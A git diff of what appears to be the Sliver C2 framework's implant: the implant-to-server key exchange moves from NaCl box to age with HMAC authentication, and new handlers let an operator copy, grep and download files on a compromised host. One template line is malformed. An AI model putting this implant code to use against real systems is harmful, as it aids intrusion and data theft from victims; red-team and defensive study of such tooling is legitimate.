golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 h1:KwsvzlnmErwMd3BXoBSEuL8qU72QxFM/uOUAgZmavRc=
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24/go.mod h1:bVQfyl2sCM/QIIGHpWbFGfHPuDvqnCNkT6MQLTCjO/U=
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg=
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb h1:c5tyN8sSp8jSDxdCCDXVOpJwYXXhmTkNMt+g0zTSOic=
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
@@ -133,5 +132,5 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLv
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 h1:TbRPT0HtzFP3Cno1zZo7yPzEEnfu8EjLfl6IU9VfqkQ=
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259/go.mod h1:AVgIgHMwK63XvmAzWG9vLQ41YnVHN0du0tEC46fI7yY=
+2
View File
@@ -30,6 +30,8 @@ trap 'cleanup $? $LINENO' ERR
go run update-vendor.go "$tempDir"
cd "$tempDir"
# update vendor dir
# go get gvisor.dev/gvisor/runsc@go
go get golang.org/x/[email protected]
go mod tidy -compat=1.17
go mod vendor
+47 -70
View File
@@ -28,39 +28,34 @@ import (
"errors"
"io"
"os"
"strings"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"filippo.io/age"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/nacl/box"
)
var (
totpOptions = totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
// ErrReplayAttack - Replay attack
ErrReplayAttack = errors.New("replay attack detected")
// ErrDecryptFailed
ErrDecryptFailed = errors.New("decryption failed")
gzipWriterPools = &sync.Pool{}
ageMsgPrefix = []byte("age-encryption.org/v1\n-> X25519 ")
agePublicKeyPrefix = "age1"
agePrivateKeyPrefix = "AGE-SECRET-KEY-1"
)
// ECCKeyPair - Holds the public/private key pair
type ECCKeyPair struct {
Public *[32]byte
Private *[32]byte
// AgeKeyPair - Holds the public/private key pair
type AgeKeyPair struct {
Public string
Private string
}
func init() {
@@ -72,44 +67,55 @@ func init() {
}
}
const msgSizeLimit = 8 * 1024
// ECCEncrypt - Encrypt using Nacl Box
func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaintext []byte) ([]byte, error) {
// Arbitrary upper limit for plaintext
if msgSizeLimit < len(plaintext) {
return nil, errors.New("plaintext too long")
// AgeEncrypt - Encrypt using Nacl Box
func AgeEncrypt(recipientPublicKey string, plaintext []byte) ([]byte, error) {
if !strings.HasPrefix(recipientPublicKey, agePublicKeyPrefix) {
recipientPublicKey = agePublicKeyPrefix + recipientPublicKey
}
var nonce [24]byte
if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil {
recipient, err := age.ParseX25519Recipient(recipientPublicKey)
if err != nil {
return nil, err
}
encrypted := box.Seal(nonce[:], plaintext, &nonce, recipientPublicKey, senderPrivateKey)
return encrypted, nil
buf := bytes.NewBuffer([]byte{})
stream, err := age.Encrypt(buf, recipient)
if err != nil {
return nil, err
}
if _, err := stream.Write(plaintext); err != nil {
return nil, err
}
if err := stream.Close(); err != nil {
return nil, err
}
return bytes.TrimPrefix(buf.Bytes(), ageMsgPrefix), nil
}
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
// AgeDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func AgeDecrypt(recipientPrivateKey string, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < 24 {
return nil, errors.New("ciphertext too short")
}
// Arbitrary upper limit for ciphertext
if msgSizeLimit < len(ciphertext) {
return nil, errors.New("ciphertext too long")
if !strings.HasPrefix(recipientPrivateKey, agePrivateKeyPrefix) {
recipientPrivateKey = agePrivateKeyPrefix + recipientPrivateKey
}
var decryptNonce [24]byte
copy(decryptNonce[:], ciphertext[:24])
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
if !ok {
return nil, ErrDecryptFailed
identity, err := age.ParseX25519Identity(recipientPrivateKey)
if err != nil {
return nil, err
}
buf := bytes.NewBuffer(append(ageMsgPrefix, ciphertext...))
stream, err := age.Decrypt(buf, identity)
if err != nil {
return nil, err
}
plaintext, err := io.ReadAll(stream)
if err != nil {
return nil, err
}
return plaintext, nil
}
// RandomKey - Generate random ID of randomIDSize bytes
func RandomKey() [chacha20poly1305.KeySize]byte {
// RandomSymmetricKey - Generate random ID of randomIDSize bytes
func RandomSymmetricKey() [chacha20poly1305.KeySize]byte {
randBuf := make([]byte, 64)
rand.Read(randBuf)
return deriveKeyFrom(randBuf)
@@ -184,7 +190,7 @@ func (c *CipherContext) Decrypt(msg []byte) ([]byte, error) {
return nil, ErrDecryptFailed
}
ciphertext := msg[minisignRawSigSize:]
serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to decode minisign public key: %s", err)
@@ -227,35 +233,6 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
code, _ := totp.GenerateCodeCustom(totpSecret, now, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code: %s", code)
// {{end}}
return code
}
// ValidateTOTP - Validate a TOTP code
func ValidateTOTP(code string) (bool, error) {
now := time.Now().UTC()
valid, err := totp.ValidateCustom(code, totpSecret, now, totpOptions)
if err != nil {
return false, err
}
return valid, nil
}
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the certificate validation and re-implement everything.
// https://github.com/golang/go/issues/21971
+55 -68
View File
@@ -19,8 +19,8 @@ package cryptography
*/
import (
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"errors"
// {{if .Config.Debug}}
@@ -29,59 +29,48 @@ import (
)
var (
// ECCPublicKey - The implant's ECC public key
ECCPublicKey = "{{.Config.ECCPublicKey}}"
// eccPrivateKey - The implant's ECC private key
eccPrivateKey = "{{.Config.ECCPrivateKey}}"
// eccPublicKeySignature - The implant's public key minisigned'd
ECCPublicKeySignature = `{{.Config.ECCPublicKeySignature}}`
// eccServerPublicKey - Server's ECC public key
eccServerPublicKey = "{{.Config.ECCServerPublicKey}}"
// minisignServerPublicKey - The server's minisign public key
minisignServerPublicKey = `{{.Config.MinisignServerPublicKey}}`
// TOTP secret value
totpSecret = "{{.OTPSecret}}"
// PeerAgePublicKey - The implant's age public key
PeerAgePublicKey = "{{.Build.PeerPublicKey}}"
// peerPrivateKey - The implant's age private key
peerAgePrivateKey = "{{.Build.PeerPrivateKey}}"
// PublicKeySignature - The implant's age public key minisigned'd
PeerAgePublicKeySignature = `{{.Build.PeerPublicKeySignature}}`
// serverPublicKey - Server's ECC public key
serverAgePublicKey = "{{.Build.AgeServerPublicKey}}"
// serverMinisignPublicKey - The server's minisign public key
serverMinisignPublicKey = `{{.Build.MinisignServerPublicKey}}`
// ErrInvalidPeerKey - Peer to peer key exchange failed
ErrInvalidPeerKey = errors.New("invalid peer key")
)
// {{if .Config.Debug}} - Used for unit tests, remove from normal builds where these values are set at compile-time
func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret, newMinisignServerPublicKey string) {
ECCPublicKey = newEccPublicKey
eccPrivateKey = newEccPrivateKey
ECCPublicKeySignature = newEccPublicKeySignature
eccServerPublicKey = newEccServerPublicKey
totpSecret = newTotpSecret
minisignServerPublicKey = newMinisignServerPublicKey
func SetSecrets(peerPublicKey, peerPrivateKey, peerPublicKeySignature, serverPublicKey, minisignServerPublicKey string) {
PeerAgePublicKey = peerPublicKey
peerAgePrivateKey = peerPrivateKey
PeerAgePublicKeySignature = peerPublicKeySignature
serverAgePublicKey = serverPublicKey
serverMinisignPublicKey = minisignServerPublicKey
}
// {{end}}
// GetECCKeyPair - Get the implant's key pair
func GetECCKeyPair() *ECCKeyPair {
publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
if err != nil {
panic("no public key")
}
var public [32]byte
copy(public[:], publicRaw)
privateRaw, err := base64.RawStdEncoding.DecodeString(eccPrivateKey)
if err != nil {
panic("no private key")
}
var private [32]byte
copy(private[:], privateRaw)
return &ECCKeyPair{
Public: &public,
Private: &private,
// GetPeerAgeKeyPair - Get the implant's key pair
func GetPeerAgeKeyPair() *AgeKeyPair {
return &AgeKeyPair{
Public: PeerAgePublicKey,
Private: peerAgePrivateKey,
}
}
// GetServerAgePublicKey - Get the decoded server public key
func GetServerAgePublicKey() string {
return serverAgePublicKey
}
// MinisignVerify - Verify a minisign signature
func MinisignVerify(message []byte, signature string) bool {
serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to decode minisign public key: %s", err)
@@ -108,61 +97,59 @@ func MinisignVerify(message []byte, signature string) bool {
return valid
}
// GetServerECCPublicKey - Get the decoded server public key
func GetServerECCPublicKey() *[32]byte {
publicRaw, err := base64.RawStdEncoding.DecodeString(eccServerPublicKey)
if err != nil {
return nil
}
var public [32]byte
copy(public[:], publicRaw)
return &public
}
// ECCEncryptToServer - Encrypt using the server's public key
func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
recipientPublicKey := GetServerECCPublicKey()
if recipientPublicKey == nil {
// AgeKeyExToServer - Encrypt using the server's public key
func AgeKeyExToServer(plaintext []byte) ([]byte, error) {
recipientPublicKey := GetServerAgePublicKey()
if recipientPublicKey == "" {
panic("no server public key")
}
keyPair := GetECCKeyPair()
ciphertext, err := ECCEncrypt(recipientPublicKey, keyPair.Private, plaintext)
peerKeyPair := GetPeerAgeKeyPair()
// First HMAC the plaintext with the hash of the implant's private key
// this ensures that the server is talking to a valid implant
privateDigest := sha256.New()
privateDigest.Write([]byte(peerKeyPair.Private))
mac := hmac.New(sha256.New, privateDigest.Sum(nil))
mac.Write(plaintext)
// Next encrypt using server's Age public key
ciphertext, err := AgeEncrypt(recipientPublicKey, append(mac.Sum(nil), plaintext...))
if err != nil {
return nil, err
}
digest := sha256.Sum256((*keyPair.Public)[:])
// Sender includes hash of it's implant specific peer public key
publicDigest := sha256.Sum256([]byte(peerKeyPair.Public))
msg := make([]byte, 32+len(ciphertext))
copy(msg, digest[:])
copy(msg, publicDigest[:])
copy(msg[32:], ciphertext)
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
// AgeEncryptToPeer - Encrypt using the peer's public key
func AgeEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
return nil, ErrInvalidPeerKey
}
var peerPublicKey [32]byte
copy(peerPublicKey[:], recipientPublicKey)
keyPair := GetECCKeyPair()
ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
ciphertext, err := AgeEncrypt(string(recipientPublicKey), plaintext)
if err != nil {
return nil, err
}
return ciphertext, nil
}
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
// AgeDecryptFromPeer - Decrypt a message from a peer
func AgeDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
return nil, ErrInvalidPeerKey
}
var peerPublicKey [32]byte
copy(peerPublicKey[:], senderPublicKey)
keyPair := GetECCKeyPair()
plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
keyPair := GetPeerAgeKeyPair()
plaintext, err := AgeDecrypt(keyPair.Private, ciphertext)
if err != nil {
return nil, err
}
+8 -7
View File
@@ -24,6 +24,7 @@ import (
"encoding/binary"
"errors"
insecureRand "math/rand"
"strconv"
"strings"
// {{if .Config.Debug}}
@@ -43,13 +44,13 @@ var (
EncoderModulus = uint64(65537)
MaxN = uint64(9999999)
Base32EncoderID = uint64(65)
Base58EncoderID = uint64(43)
Base64EncoderID = uint64(131)
EnglishEncoderID = uint64(31)
GzipEncoderID = uint64(49)
HexEncoderID = uint64(92)
PNGEncoderID = uint64(22)
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
HexEncoderID, _ = strconv.ParseUint(`{{.Encoders.HexEncoderID}}`, 10, 64)
PNGEncoderID, _ = strconv.ParseUint(`{{.Encoders.PNGEncoderID}}`, 10, 64)
)
func init() {
+1 -1
View File
@@ -18,7 +18,7 @@ package forwarder
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
var (
tcpForwarders map[int]*WGTCPForwarder
socksServers map[int]*WGSocksServer
+1 -1
View File
@@ -18,7 +18,7 @@ package forwarder
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
import (
"fmt"
"io"
+3 -3
View File
@@ -18,10 +18,10 @@ package forwarder
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
import (
"fmt"
"io/ioutil"
"io"
"log"
"net"
@@ -61,7 +61,7 @@ func (s *WGSocksServer) LocalAddr() string {
func (s *WGSocksServer) Start() error {
var err error
server := socks5.NewServer(
socks5.WithLogger(socks5.NewLogger(log.New(ioutil.Discard, "", log.LstdFlags))),
socks5.WithLogger(socks5.NewLogger(log.New(io.Discard, "", log.LstdFlags))),
)
select {
case <-s.done:
@@ -18,7 +18,7 @@ package handlers
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
import (
"fmt"
+573 -55
View File
@@ -30,8 +30,10 @@ import (
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
"time"
"unicode/utf8"
// {{if .Config.Debug}}
"log"
@@ -302,6 +304,76 @@ func mvHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func cpHandler(data []byte, resp RPCResponse) {
cpReq := &sliverpb.CpReq{}
err := proto.Unmarshal(data, cpReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
copy := &sliverpb.Cp{
Src: cpReq.Src,
Dst: cpReq.Dst,
}
srcFile, err := os.Open(cpReq.Src)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open source file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer srcFile.Close()
dstFile, err := os.Create(cpReq.Dst)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer dstFile.Close()
bytesWritten, err := io.Copy(dstFile, srcFile)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to copy bytes to destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
err = dstFile.Sync()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to sync destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
copy.BytesWritten = bytesWritten
data, err = proto.Marshal(copy)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
@@ -376,21 +448,79 @@ func pwdHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
func prepareDownload(path string, filter string, recurse bool, maxBytes int64, maxLines int64) ([]byte, bool, int, int, error) {
/*
Combine the path and filter to see if the user wants
to download a single file
*/
var rawData []byte
var err error
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
fileHandle, err := os.Open(path + filter)
if err != nil {
// Then we could not read the file
return nil, false, 0, 1, err
}
defer fileHandle.Close()
if maxBytes != 0 {
var readFirst bool = maxBytes > 0
if readFirst {
rawData = make([]byte, maxBytes)
_, err = fileHandle.Read(rawData)
} else {
rawData = make([]byte, maxBytes*-1)
var bytesToRead int64 = 0
if fileInfo.Size()+maxBytes < 0 {
bytesToRead = 0
} else {
bytesToRead = fileInfo.Size() + maxBytes
}
_, err = fileHandle.ReadAt(rawData, bytesToRead)
}
} else if maxLines != 0 {
var linesRead int64 = 0
var lines []string
var readFirst bool = true
if maxLines < 0 {
maxLines *= -1
readFirst = false
}
fileScanner := bufio.NewScanner(fileHandle)
for fileScanner.Scan() {
lines = append(lines, fileScanner.Text())
linesRead += 1
if linesRead == maxLines && readFirst {
break
}
}
err = fileScanner.Err()
if err == nil {
if readFirst {
rawData = []byte(strings.Join(lines, "\n"))
} else {
linePosition := int64(len(lines)) - maxLines
if linePosition < 0 {
linePosition = 0
}
rawData = []byte(strings.Join(lines[linePosition:], "\n"))
}
}
} else {
// Read the entire file
rawData = make([]byte, fileInfo.Size())
_, err = fileHandle.Read(rawData)
}
if err != nil && err != io.EOF {
// Then we could not read the file
return nil, false, 0, 1, err
} else {
return rawData, false, 1, 0, nil
}
@@ -428,11 +558,29 @@ func downloadHandler(data []byte, resp RPCResponse) {
if pathIsDirectory(target) {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
if downloadReq.RestrictedToFile {
/*
The user has asked to perform a download operation that should only be allowed on
files, and this is a directory. We should let them know.
*/
err = fmt.Errorf("cannot complete command because target %s is a directory", target)
// {{if .Config.Debug}}
log.Printf("error completing download command: %v", err)
// {{end}}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: 0, UnreadableFiles: 0}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
data, _ = proto.Marshal(download)
resp(data, err)
return
}
}
path, filter := determineDirPathFilter(target)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse, downloadReq.MaxBytes, downloadReq.MaxLines)
if err != nil {
if isDir {
@@ -467,6 +615,289 @@ func downloadHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func searchFileForPattern(searchPath string, searchPattern *regexp.Regexp, linesBeforeCount int, linesAfterCount int) ([]*sliverpb.GrepResult, bool, error) {
var results []*sliverpb.GrepResult
fileHandle, err := os.Open(searchPath)
if err != nil {
return nil, false, err
}
defer fileHandle.Close()
fileScanner := bufio.NewScanner(fileHandle)
var linePosition int64 = 1
var linesBefore []string
var linesAfter []string
// A slice containing the line numbers that we need to capture lines up to
var linePositionsAfter []int64
var resultIndex int = 0
binaryFile := false
textLine := false
for fileScanner.Scan() {
line := fileScanner.Text()
// If the line is not valid UTF-8, then the file contains binary
// We do not want to send binary data back to the client
textLine = utf8.ValidString(line)
if !textLine {
binaryFile = true
// Disable before and after line counts
linesBeforeCount = 0
linesAfterCount = 0
}
if linesBeforeCount > 0 && !binaryFile {
linesBefore = append(linesBefore, line)
if len(linesBefore) > int(linesBeforeCount)+1 {
linesBefore = linesBefore[1:]
}
}
if linesAfterCount > 0 && len(linePositionsAfter) > 0 && !binaryFile {
if linePosition <= linePositionsAfter[0] {
linesAfter = append(linesAfter, line)
if len(linesAfter) > linesAfterCount {
linesAfter = linesAfter[1:]
}
} else {
results[resultIndex].LinesAfter = make([]string, len(linesAfter))
copy(results[resultIndex].LinesAfter, linesAfter)
if len(linePositionsAfter) > 1 {
linesAfter = linesAfter[linePositionsAfter[1]-linePositionsAfter[0]:]
} else {
linesAfter = linesAfter[1:]
}
linePositionsAfter = linePositionsAfter[1:]
resultIndex += 1
linesAfter = append(linesAfter, line)
}
}
if matches := searchPattern.FindAllStringIndex(line, -1); matches != nil {
if !textLine {
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition})
} else {
var positions []*sliverpb.GrepLinePosition
for _, match := range matches {
positions = append(positions, &sliverpb.GrepLinePosition{Start: int32(match[0]), End: int32(match[1])})
}
if linesBeforeCount > 0 && len(linesBefore) > 0 {
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition, Positions: positions, Line: line, LinesBefore: linesBefore[:len(linesBefore)-1]})
} else {
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition, Positions: positions, Line: line, LinesBefore: []string{}})
}
if linesAfterCount > 0 {
linePositionsAfter = append(linePositionsAfter, linePosition+int64(linesAfterCount))
}
}
}
linePosition += 1
}
// We reached the end of the file, but we need to make sure we capture any lines that might be queued up
if linesAfterCount > 0 && len(linePositionsAfter) > 0 && !binaryFile {
for idx, afterLinePosition := range linePositionsAfter {
sliceStopPosition := len(linesAfter)
if len(linesAfter) >= linesAfterCount {
sliceStopPosition = linesAfterCount
}
results[resultIndex].LinesAfter = make([]string, len(linesAfter[:sliceStopPosition]))
copy(results[resultIndex].LinesAfter, linesAfter[:sliceStopPosition])
if idx != len(linePositionsAfter)-1 {
nextPosition := linePositionsAfter[idx+1]
linesAfter = linesAfter[nextPosition-afterLinePosition:]
}
resultIndex += 1
}
}
return results, binaryFile, nil
}
func searchPathForPattern(searchPath string, filter string, searchPattern *regexp.Regexp, recursive bool, linesBefore int, linesAfter int) (map[string]*sliverpb.GrepResultsForFile, error) {
var results map[string]*sliverpb.GrepResultsForFile = make(map[string]*sliverpb.GrepResultsForFile)
fileList, err := buildFileList(searchPath, filter, recursive)
if err != nil {
return nil, err
}
for _, file := range fileList {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
continue
}
// If the file is a symlink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
continue
}
}
// Do the grep
fileResults, binaryFile, err := searchFileForPattern(file, searchPattern, linesBefore, linesAfter)
if err != nil {
// The error for this file will go back in the results
result := &sliverpb.GrepResult{LineNumber: -1, Positions: nil, Line: err.Error()}
results[file] = &sliverpb.GrepResultsForFile{FileResults: []*sliverpb.GrepResult{result}, IsBinary: binaryFile}
continue
} else {
results[file] = &sliverpb.GrepResultsForFile{FileResults: fileResults, IsBinary: binaryFile}
}
}
return results, nil
}
func performGrep(searchPath string, searchPattern *regexp.Regexp, recursive bool, linesBefore int, linesAfter int) (map[string]*sliverpb.GrepResultsForFile, error) {
var results map[string]*sliverpb.GrepResultsForFile
target, _ := filepath.Abs(searchPath)
fileInfo, err := os.Stat(target)
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
result, binaryFile, err := searchFileForPattern(target, searchPattern, linesBefore, linesAfter)
if err != nil {
return nil, err
}
results = make(map[string]*sliverpb.GrepResultsForFile)
results[target] = &sliverpb.GrepResultsForFile{FileResults: result, IsBinary: binaryFile}
return results, nil
} else if err == nil && fileInfo.IsDir() {
if fileInfo.IsDir() {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
}
}
/*
The search path might not exist or be accessible,
but we will determine that when we try to do the search
*/
path, filter := determineDirPathFilter(target)
results, err = searchPathForPattern(path, filter, searchPattern, recursive, linesBefore, linesAfter)
return results, err
}
func grepHandler(data []byte, resp RPCResponse) {
grepReq := &sliverpb.GrepReq{}
err := proto.Unmarshal(data, grepReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
resp([]byte{}, err)
return
}
grep := &sliverpb.Grep{Results: nil}
// Sanity check the request (does the regex compile?)
searchRegex, err := regexp.Compile(grepReq.SearchPattern)
if err != nil {
// There is something wrong with the supplied regex
// {{if .Config.Debug}}
log.Printf("error getting parsing the search pattern: %v", err)
// {{end}}
grep.Response = &commonpb.Response{
Err: fmt.Sprintf("There was a problem with the supplied search pattern: %v", err),
}
data, _ = proto.Marshal(grep)
resp(data, err)
return
}
grep.Results, err = performGrep(grepReq.Path, searchRegex, grepReq.Recursive, int(grepReq.LinesBefore), int(grepReq.LinesAfter))
grep.SearchPathAbsolute, _ = filepath.Abs(grepReq.Path)
if err == nil {
grep.Response = &commonpb.Response{}
} else {
grep.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
}
data, _ = proto.Marshal(grep)
resp(data, err)
}
func extractFiles(data []byte, path string, overwrite bool) (int, int, error) {
reader := tar.NewReader(bytes.NewReader(data))
filesSkipped := 0
filesWritten := 0
for {
header, err := reader.Next()
switch {
case err == io.EOF:
// Then we are done
return filesWritten, filesSkipped, nil
case err != nil:
